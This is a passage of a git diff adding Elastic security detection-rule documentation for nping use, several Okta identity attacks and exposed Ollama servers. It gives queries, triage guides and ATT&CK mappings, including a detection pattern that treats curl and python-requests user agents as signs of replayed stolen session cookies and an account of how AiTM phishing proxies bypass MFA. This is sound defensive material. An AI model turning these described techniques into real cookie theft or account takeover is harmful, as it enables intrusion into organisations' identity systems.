Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.name == "nping" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Network Denial of Service +** ID: T1498 +** Reference URL: https://attack.mitre.org/techniques/T1498/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-aitm-session-cookie-replay.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-aitm-session-cookie-replay.asciidoc new file mode 100644 index 0000000000..874dbf008c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-aitm-session-cookie-replay.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-20-okta-aitm-session-cookie-replay]] +=== Okta AiTM Session Cookie Replay + +Detects potential Adversary-in-the-Middle (AiTM) session cookie replay attacks against Okta. This rule identifies when an Okta session is used from multiple IP addresses or with suspicious non-browser user agents after initial authentication. AiTM attacks capture session cookies via phishing proxies (e.g., Evilginx, Modlishka) and replay them from attacker infrastructure, bypassing MFA. The detection correlates session start events with subsequent policy evaluations or SSO attempts that occur from different IPs or programmatic user agents. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/okta-sso-accounts-targeted-in-vishing-based-data-theft-attacks/ +* https://reliaquest.com/blog/threat-spotlight-shinyhunters-data-breach-targets-salesforce-amid-scattered-spider-collaboration/ +* https://securitylabs.datadoghq.com/articles/investigating-an-aitm-phishing-campaign-m365-okta/) +* https://www.microsoft.com/en-us/security/blog/2022/07/12/from-cookie-theft-to-bec-attackers-use-aitm-phishing-sites-as-entry-point-to-further-financial-fraud/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Credential Access +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta AiTM Session Cookie Replay* + + +Adversary-in-the-Middle (AiTM) attacks use reverse proxies to intercept authentication flows, capturing session cookies after victims complete MFA. Attackers then replay these cookies from their own infrastructure to hijack authenticated sessions. This rule detects the post-capture phase by identifying sessions used from anomalous contexts. + +This is an ES|QL aggregation-based rule. Pivot into raw events using the root session ID for full investigation context. + + +*Possible investigation steps* + + +- Review the collected IP addresses from the alert to identify all IPs that accessed this session. Investigate geographic locations and ASN ownership for each IP. +- Examine the user agent values for non-browser user agents like `python-requests`, `curl`, or `Headless` browsers that indicate programmatic access. +- Check Okta's risk assessment fields. HIGH risk with reasons like "Anomalous Device" or "Anomalous Location" strengthens AiTM suspicion. +- Correlate the session start timestamp with the first replay attempt timestamp to understand the attack timeline. +- Query raw Okta events for the session ID to see all activity within this session, including accessed applications. +- Review proxy detection fields to determine if attacker requests originated from VPN/proxy infrastructure. +- Check the user's recent password reset or MFA enrollment events, as these may indicate account compromise leading to the AiTM attack. +- Contact the user to verify if they received phishing emails with links to suspicious login pages around the session start time. + + +*False positive analysis* + + +- Legitimate VPN usage may cause IP address changes within a session. Check if both IPs belong to known corporate VPN ranges or the user's typical locations. +- Users traveling may show geographic IP changes. Correlate with travel schedules or expense reports if available. +- Browser extensions or security tools may modify user agents. Verify the user agent patterns match known tools in the environment. +- API integrations using user context may trigger non-browser UA detection. Exclude known service accounts. + + +*Response and remediation* + + +- Immediately terminate all active sessions for the affected user via Okta Admin Console. +- Reset the user's password and require MFA re-enrollment to invalidate any captured credentials. +- Review and revoke any OAuth tokens or API keys associated with the user. +- Check Okta System Log for applications accessed during the suspicious session and assess data exposure. +- If downstream applications were accessed, coordinate with application owners to review access logs and potential data exfiltration. +- Block the attacker IP addresses at the network perimeter and add to threat intelligence feeds. +- Implement Okta sign-on policies that challenge or block sessions with HIGH risk scores or proxy detection. +- Consider enabling Okta ThreatInsight to automatically block known malicious IPs. +- Review email security logs for phishing attempts targeting the user around the session start time. +- Escalate to incident response if sensitive applications (AWS, Salesforce, email) were accessed from the attacker IP. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-okta.system-* + +// Filter to relevant event types for AiTM detection +| WHERE + okta.event_type IN ("user.session.start", "policy.evaluate_sign_on", "user.authentication.sso") AND + okta.authentication_context.root_session_id IS NOT NULL AND + okta.actor.alternate_id != "system@okta.com" + +// Create event type flags +| EVAL Esql.is_session_start = okta.event_type == "user.session.start" +| EVAL Esql.is_policy_eval = okta.event_type == "policy.evaluate_sign_on" +| EVAL Esql.is_sso = okta.event_type == "user.authentication.sso" +| EVAL Esql.is_replay_event = Esql.is_policy_eval OR Esql.is_sso + +// Flag suspicious non-browser user agents +| EVAL Esql.is_suspicious_ua = + user_agent.original LIKE "python-requests*" OR + user_agent.original LIKE "curl/*" OR + user_agent.original LIKE "httpx*" OR + user_agent.original LIKE "aiohttp*" OR + user_agent.original LIKE "Go-http-client*" OR + user_agent.original LIKE "*Headless*" OR + user_agent.original LIKE "Java/*" OR + user_agent.original LIKE "okhttp*" + +// Aggregate by session +| STATS + Esql.session_start_count = SUM(CASE(Esql.is_session_start, 1, 0)), + Esql.replay_event_count = SUM(CASE(Esql.is_replay_event, 1, 0)), + Esql.session_start_time = MIN(CASE(Esql.is_session_start, @timestamp, null)), + Esql.first_replay_time = MIN(CASE(Esql.is_replay_event, @timestamp, null)), + Esql.last_replay_time = MAX(CASE(Esql.is_replay_event, @timestamp, null)), + Esql.session_start_ip = MAX(CASE(Esql.is_session_start, okta.client.ip, null)), + Esql.session_start_ua = MAX(CASE(Esql.is_session_start, user_agent.original, null)), + Esql.suspicious_ua_count = SUM(CASE(Esql.is_suspicious_ua, 1, 0)), + Esql.okta_client_ip_count_distinct = COUNT_DISTINCT(okta.client.ip), + Esql.user_agent_count_distinct = COUNT_DISTINCT(user_agent.original), + Esql.okta_client_ip_values = VALUES(okta.client.ip), + Esql.user_agent_values = VALUES(user_agent.original), + Esql.okta_event_type_values = VALUES(okta.event_type), + Esql.okta_outcome_result_values = VALUES(okta.outcome.result), + Esql.source_geo_country_name_values = VALUES(source.geo.country_name), + Esql.source_geo_city_name_values = VALUES(source.geo.city_name), + Esql.okta_debug_context_debug_data_risk_level_values = VALUES(okta.debug_context.debug_data.risk_level), + Esql.okta_debug_context_debug_data_risk_reasons_values = VALUES(okta.debug_context.debug_data.risk_reasons) + BY okta.authentication_context.root_session_id, okta.actor.alternate_id + +// Detection conditions +| WHERE + Esql.session_start_count >= 1 + AND Esql.replay_event_count >= 1 + AND Esql.first_replay_time > Esql.session_start_time + AND ( + ( + Esql.okta_client_ip_count_distinct > 1 OR Esql.user_agent_count_distinct > 1 + ) AND Esql.suspicious_ua_count > 0 + ) + +| SORT Esql.session_start_time DESC +| KEEP Esql.*, okta.authentication_context.root_session_id, okta.actor.alternate_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Web Session Cookie +** ID: T1550.004 +** Reference URL: https://attack.mitre.org/techniques/T1550/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-fastpass-phishing-detection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-fastpass-phishing-detection.asciidoc new file mode 100644 index 0000000000..b0539a7715 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-fastpass-phishing-detection.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-20-okta-fastpass-phishing-detection]] +=== Okta FastPass Phishing Detection + +Detects when Okta FastPass prevents a user from authenticating to a phishing website. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://sec.okta.com/fastpassphishingdetection +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Tactic: Initial Access +* Use Case: Identity and Access Audit +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 311 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Okta FastPass Phishing Detection* + + +Okta FastPass is a passwordless authentication solution that enhances security by verifying user identity without traditional credentials. Adversaries may attempt to exploit this by directing users to phishing sites mimicking legitimate services. The detection rule identifies failed authentication attempts where FastPass blocks access, indicating a phishing attempt, by analyzing specific event patterns and outcomes. + + +*Possible investigation steps* + + +- Review the event details to confirm the presence of the specific outcome reason "FastPass declined phishing attempt" to ensure the alert is related to a phishing attempt. +- Identify the user associated with the failed authentication attempt and gather additional context about their recent activities and access patterns. +- Investigate the source IP address and geolocation of the failed authentication attempt to determine if it aligns with the user's typical access locations or if it appears suspicious. +- Check for any other recent authentication attempts from the same user or IP address to identify potential patterns or repeated phishing attempts. +- Communicate with the affected user to verify if they received any suspicious communications or if they attempted to access any unfamiliar websites around the time of the alert. +- Review any additional logs or alerts from other security systems that might provide further context or corroborate the phishing attempt. + + +*False positive analysis* + + +- Legitimate third-party applications that mimic the behavior of phishing sites may trigger false positives. Users can create exceptions for these applications by whitelisting their domains in the Okta FastPass settings. +- Internal testing environments that simulate phishing scenarios for training purposes might be flagged. To prevent this, ensure that these environments are registered and recognized within the Okta system to avoid unnecessary alerts. +- Users accessing legitimate services through unusual network paths or VPNs may be mistakenly identified as phishing attempts. Regularly review and update network configurations and trusted IP addresses to minimize these occurrences. +- Frequent failed authentication attempts due to user error, such as incorrect device settings or outdated software, can be mistaken for phishing. Educate users on maintaining their devices and software to align with Okta FastPass requirements to reduce these false positives. + + +*Response and remediation* + + +- Immediately isolate the affected user accounts to prevent further unauthorized access attempts. This can be done by temporarily disabling the accounts or enforcing additional authentication measures. +- Notify the affected users about the phishing attempt and instruct them to avoid interacting with suspicious emails or websites. Provide guidance on recognizing phishing attempts. +- Conduct a thorough review of the affected users' recent activities to identify any potential data exposure or unauthorized access to sensitive information. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or related incidents. +- Implement additional monitoring on the affected accounts and related systems to detect any further suspicious activities or attempts to bypass security controls. +- Review and update security policies and configurations related to Okta FastPass to ensure they are optimized for detecting and preventing similar phishing attempts in the future. +- Coordinate with the IT team to ensure that all systems and applications are patched and up-to-date to mitigate any vulnerabilities that could be exploited in conjunction with phishing attacks. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +This rule requires Okta to have the following turned on: + +Okta Identity Engine - select 'Phishing Resistance for FastPass' under Settings > Features in the Admin Console. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.category:authentication and + okta.event_type:user.authentication.auth_via_mfa and event.outcome:failure and okta.outcome.reason:"FastPass declined phishing attempt" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-sign-in-events-via-third-party-idp.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-sign-in-events-via-third-party-idp.asciidoc new file mode 100644 index 0000000000..e94e4f662a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-sign-in-events-via-third-party-idp.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-20-okta-sign-in-events-via-third-party-idp]] +=== Okta Sign-In Events via Third-Party IdP + +Detects sign-in events where authentication is carried out via a third-party Identity Provider (IdP) that has not been seen before. Adversaries may add an unauthorized IdP to an Okta tenant to gain persistent access. This rule uses New Terms detection to only alert when a previously unseen IdP is used for authentication, reducing noise from legitimate federated identity providers while highlighting potentially rogue IdP additions. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-okta.system-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.cloudflare.com/cloudflare-investigation-of-the-january-2022-okta-compromise/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://unit42.paloaltonetworks.com/muddled-libra/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta Sign-In Events via Third-Party IdP* + + +This rule detects sign-in events where authentication is carried out via a third-party Identity Provider (IdP). + +Adversaries may attempt to add an unauthorized IdP to an Okta tenant to gain access to the tenant. Following this action, adversaries may attempt to sign in to the tenant using the unauthorized IdP. This rule detects both the addition of an unauthorized IdP and the subsequent sign-in attempt. + + +*Possible investigation steps:* + +- Identify the third-party IdP by examining the `okta.authentication_context.issuer.id` field. +- Once the third-party IdP is identified, determine if this IdP is authorized to be used by the tenant. +- If the IdP is unauthorized, deactivate it immediately via the Okta console. +- Identify the actor associated with the IdP creation by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields in historical data. + - The `New Okta Identity Provider (IdP) Added by Admin` rule may be helpful in identifying the actor and the IdP creation event. +- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- If the client is a device, check the `okta.device.id`, `okta.device.name`, `okta.device.os_platform`, `okta.device.os_version`, and `okta.device.managed` fields. +- Review the past activities of the actor involved in this action by checking their previous actions logged in the `okta.target` field. +- Examine the `okta.request.ip_chain` field to potentially determine if the actor used a proxy or VPN to perform this action. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + + +*False positive analysis:* + +- It might be a false positive if this IdP is authorized to be used by the tenant. +- This may be a false positive if an authorized third-party IdP is used to sign in to the tenant but failures occurred due to an incorrect configuration. + + +*Response and remediation:* + +- If the IdP is unauthorized, deactivate it immediately via the Okta console. +- Reset the effected user's password and enforce MFA re-enrollment, if applicable. +- Mobile device forensics may be required to determine if the user's device is compromised. +- If the IdP is authorized, ensure that the actor who created it is authorized to do so. +- If the actor is unauthorized, deactivate their account via the Okta console. +- If the actor is authorized, ensure that the actor's account is not compromised. + +- Block the IP address or device used in the attempts if they appear suspicious, using the data from the `okta.client.ip` and `okta.device.id` fields. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- If the deactivated IdP was crucial to the organization, consider adding a new IdP and removing the unauthorized IdP. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "okta.system" + and okta.authentication_context.issuer.id: (* and not "Okta") + and ( + event.action: ( + "user.authentication.auth_via_IDP" + or "user.authentication.auth_via_inbound_SAML" + or "user.authentication.auth_via_social" + ) + or ( + event.action: "user.authentication.auth_via_IDP" + and okta.outcome.result: "FAILURE" + and okta.outcome.reason: ( + "A SAML assert with the same ID has already been processed by Okta for a previous request" + or "Unable to match transformed username" + or "Unable to resolve IdP endpoint" + or "Unable to validate SAML Response" + or "Unable to validate incoming SAML Assertion" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-user-assigned-administrator-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-user-assigned-administrator-role.asciidoc new file mode 100644 index 0000000000..74980861d8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-user-assigned-administrator-role.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-okta-user-assigned-administrator-role]] +=== Okta User Assigned Administrator Role + +Identifies when an administrator role is assigned to an Okta user or group. Adversaries may assign administrator privileges to compromised accounts to establish persistence, escalate privileges, and maintain long-term access to the environment. This detection monitors for both user-level and group-level administrator privilege grants, which can be used to bypass security controls and perform unauthorized administrative actions. + +*Rule type*: query + +*Rule indices*: + +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/administrators-admin-comparison.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta +* https://www.elastic.co/security-labs/okta-and-lapsus-what-you-need-to-know + +*Tags*: + +* Domain: Identity +* Data Source: Okta +* Data Source: Okta System Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta User Assigned Administrator Role* + + +Okta administrator roles provide elevated permissions to manage users, applications, policies, and security settings within the Okta environment. Adversaries who compromise Okta accounts may assign administrator privileges to establish persistence and maintain control over the identity infrastructure. This rule detects when administrator roles are granted to users or groups, which can indicate privilege escalation or persistence techniques. + + +*Possible investigation steps:* + +- Identify the actor who performed the privilege grant by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the target user or group that received administrator privileges by reviewing the `okta.target` fields. +- Review the specific administrator role granted by examining the `okta.debug_context.debug_data.flattened.privilegeGranted` field. +- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- Check if the source IP is associated with known malicious activity, VPN/proxy services, or unusual geolocations. +- Examine the `okta.request.ip_chain` field to determine if the actor used a proxy or VPN. +- Review the actor's recent authentication history and session activity for suspicious patterns. +- Verify whether the privilege grant was part of a legitimate change request or administrative workflow. +- Check for any other suspicious activities performed by the actor or target account around the same time. +- Review audit logs for any administrative actions performed after the privilege grant. + + +*False positive analysis:* + +- Legitimate administrators may assign roles during normal IT operations such as onboarding, role changes, or incident response. +- Automated provisioning systems or service accounts may assign administrator roles as part of authorized workflows. +- During organizational changes or access certification processes, multiple role assignments may occur. +- Create exceptions for known administrators, service accounts, or specific groups that regularly perform legitimate role assignments. + + +*Response and remediation:* + +- If the privilege grant is unauthorized, immediately revoke the administrator role from the affected user or group. +- Reset credentials and revoke active sessions for both the actor and target accounts if compromise is suspected. +- Enforce multi-factor authentication (MFA) re-enrollment for affected accounts. +- Review all administrative actions performed by the target account after the privilege grant. +- Check for other indicators of compromise such as unauthorized MFA device registrations, policy modifications, or suspicious authentication patterns. +- Alert security leadership and identity management teams about the unauthorized privilege escalation. +- Review and strengthen privileged access management controls, including requiring approval workflows for administrator role assignments. +- Consider implementing anomaly detection for administrator role assignments from unusual sources or at unusual times. +- If broader compromise is suspected, conduct a comprehensive security investigation including forensic analysis of Okta audit logs. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system + and event.action: (user.account.privilege.grant or group.privilege.grant) + and okta.debug_context.debug_data.flattened.privilegeGranted: *administrator* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-user-session-impersonation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-user-session-impersonation.asciidoc new file mode 100644 index 0000000000..00bc5798b9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-okta-user-session-impersonation.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-20-okta-user-session-impersonation]] +=== Okta User Session Impersonation + +A user has initiated a session impersonation granting them access to the environment with the permissions of the user they are impersonating. This would likely indicate Okta administrative access and should only ever occur if requested and expected. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.cloudflare.com/cloudflare-investigation-of-the-january-2022-okta-compromise/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta +* https://www.elastic.co/security-labs/okta-and-lapsus-what-you-need-to-know + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta User Session Impersonation* + + +The detection of an Okta User Session Impersonation indicates that a user has initiated a session impersonation which grants them access with the permissions of the user they are impersonating. This type of activity typically indicates Okta administrative access and should only ever occur if requested and expected. + + +*Possible investigation steps* + + +- Identify the actor associated with the impersonation event by checking the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields. +- Review the `event.action` field to confirm the initiation of the impersonation event. +- Check the `event.time` field to understand the timing of the event. +- Check the `okta.target.id`, `okta.target.type`, `okta.target.alternate_id`, or `okta.target.display_name` to identify the user who was impersonated. +- Review any activities that occurred during the impersonation session. Look for any activities related to the impersonated user's account during and after the impersonation event. + + +*False positive analysis* + + +- Verify if the session impersonation was part of an approved activity. Check if it was associated with any documented administrative tasks or troubleshooting efforts. +- Ensure that the impersonation session was initiated by an authorized individual. You can check this by verifying the `okta.actor.id` or `okta.actor.display_name` against the list of approved administrators. + + +*Response and remediation* + + +- If the impersonation was not authorized, consider it as a breach. Suspend the user account of the impersonator immediately. +- Reset the user session and invalidate any active sessions related to the impersonated user. +- If a specific impersonation technique was used, ensure that systems are patched or configured to prevent such techniques. +- Conduct a thorough investigation to understand the extent of the breach and the potential impact on the systems and data. +- Review and update your security policies to prevent such incidents in the future. +- Implement additional monitoring and logging of Okta events to improve visibility of user actions. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:user.session.impersonation.initiate + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-ollama-api-accessed-from-external-network.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-ollama-api-accessed-from-external-network.asciidoc new file mode 100644 index 0000000000..bac1a8b8f1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-ollama-api-accessed-from-external-network.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-ollama-api-accessed-from-external-network]] +=== Ollama API Accessed from External Network + +Detects when the Ollama LLM server accepts connections from external IP addresses. Ollama lacks built-in authentication, so exposed instances allow unauthenticated model theft, prompt injection, and resource hijacking. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.greynoise.io/blog/threat-actors-actively-targeting-llms +* https://atlas.mitre.org/techniques/AML.T0040 +* https://atlas.mitre.org/techniques/AML.T0044 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM +* Mitre Atlas: T0040 +* Mitre Atlas: T0044 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Ollama API Accessed from External Network* + + +This rule detects when Ollama accepts connections from external IP addresses. Ollama binds to localhost:11434 by default but can be exposed via OLLAMA_HOST. Since Ollama lacks authentication, exposed instances allow unauthenticated model theft, prompt injection, and resource hijacking. + + +*Possible investigation steps* + + +- Check the OLLAMA_HOST environment variable to determine if external exposure was intentional. +- Review the source IP address to identify if it's a known attacker, scanner, or miscategorized internal system. +- Examine Ollama logs for suspicious API calls to /api/pull, /api/push, or /api/generate. +- Check ~/.ollama/models/ for unexpected model downloads that may indicate model poisoning. +- Review network traffic for data exfiltration following the connection. +- Look for child processes spawned by Ollama that may indicate exploitation. + + +*False positive analysis* + + +- Internal networks not properly classified in CIDR ranges may trigger false positives. +- Load balancers or reverse proxies accessing Ollama from 